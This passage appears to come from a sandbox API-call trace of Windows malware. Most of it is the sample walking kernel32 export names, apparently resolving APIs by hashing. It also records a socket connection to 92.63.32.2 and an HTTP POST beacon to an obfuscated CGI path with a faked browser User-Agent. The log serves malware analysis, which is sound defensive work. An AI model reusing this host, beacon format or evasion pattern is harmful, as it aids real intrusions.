returned="CreateHardLinkTransactedW" [0055.345] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0055.346] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0055.346] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0055.346] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0055.346] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0055.346] lstrlenA (lpString="CREATEJOBSET") returned 12 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0055.346] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0055.346] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0055.346] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0055.346] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0055.346] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0055.346] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0055.346] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0055.346] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0055.346] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0055.346] lstrlenA (lpString="CREATEPIPE") returned 10 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0055.346] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0055.346] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0055.347] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0055.347] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0055.347] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0055.347] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0055.347] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0055.347] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0055.347] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0055.347] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0055.347] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0055.347] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0055.347] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0055.347] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0055.347] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0055.347] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0055.347] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0055.347] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0055.347] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0055.348] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0055.348] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0055.348] lstrlenA (lpString="CREATETHREAD") returned 12 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0055.348] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0055.348] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0055.348] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0055.348] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0055.348] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0055.348] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0055.348] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0055.348] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0055.348] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0055.348] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0055.348] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0055.348] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0055.348] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0055.348] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0055.348] lstrlenA (lpString="CTRLROUTINE") returned 11 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0055.349] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0055.349] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0055.349] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0055.349] lstrlenA (lpString="DEBUGBREAK") returned 10 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0055.349] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0055.349] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0055.349] lstrlenA (lpString="DECODEPOINTER") returned 13 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0055.349] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0055.349] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0055.349] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0055.349] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0055.349] lstrlenA (lpString="DELETEATOM") returned 10 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0055.349] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0055.349] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0055.349] lstrlenA (lpString="DELETEFIBER") returned 11 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0055.349] lstrlenA (lpString="DELETEFILEA") returned 11 [0055.349] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0055.350] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0055.350] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0055.350] lstrlenA (lpString="DELETEFILEW") returned 11 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0055.350] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0055.350] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0055.350] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0055.350] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0055.350] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0055.350] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0055.350] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0055.350] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0055.350] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0055.350] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0055.350] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0055.350] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0055.350] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0055.350] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0055.351] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0055.351] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0055.351] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0055.351] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0055.351] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0055.351] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0055.351] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0055.351] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0055.351] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0055.351] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0055.351] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0055.351] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0055.351] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0055.351] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0055.351] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0055.351] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0055.351] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0055.352] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0055.352] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0055.352] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0055.352] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0055.352] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0055.352] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0055.352] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0055.352] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0055.352] inet_pton (in: Family=2, pszAddrString="92.63.32.2", pAddrBuf=0x2c4f830 | out: pAddrBuf=0x2c4f830) returned 1 [0055.352] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2c4fc7c | out: lpWSAData=0x2c4fc7c) returned 0 [0055.357] socket (af=2, type=1, protocol=6) returned 0x204 [0055.372] inet_addr (cp="92.63.32.2") returned 0x2203f5c [0055.372] htons (hostshort=0x50) returned 0x5000 [0055.372] connect (s=0x204, name=0x2c4f80c*(sa_family=2, sin_port=0x50, sin_addr="92.63.32.2"), namelen=16) returned 0 [0055.414] wsprintfA (in: param_1=0x2f60000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /tbrelgdfl.cgi?ah=wjfq2ey&j=23t84u4&ytxn=8kk6be554 HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.32.2\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 247\r\nConnection: Keep-Alive\r\n\r\n") returned 266 [0055.414] lstrlenA (lpString="kernel32.dll") returned 12 [0055.414] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0055.414] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0055.414] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0055.414] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0055.414] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0055.414] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0055.414] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0055.415] lstrlenA (lpString="ADDATOMA") returned 8 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0055.415] lstrlenA (lpString="ADDATOMW") returned 8 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0055.415] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0055.415] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0055.415] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0055.415] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0055.415] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0055.415] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0055.415] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0055.415] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0055.415] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0055.415] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0055.415] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0055.415] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0055.415] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, 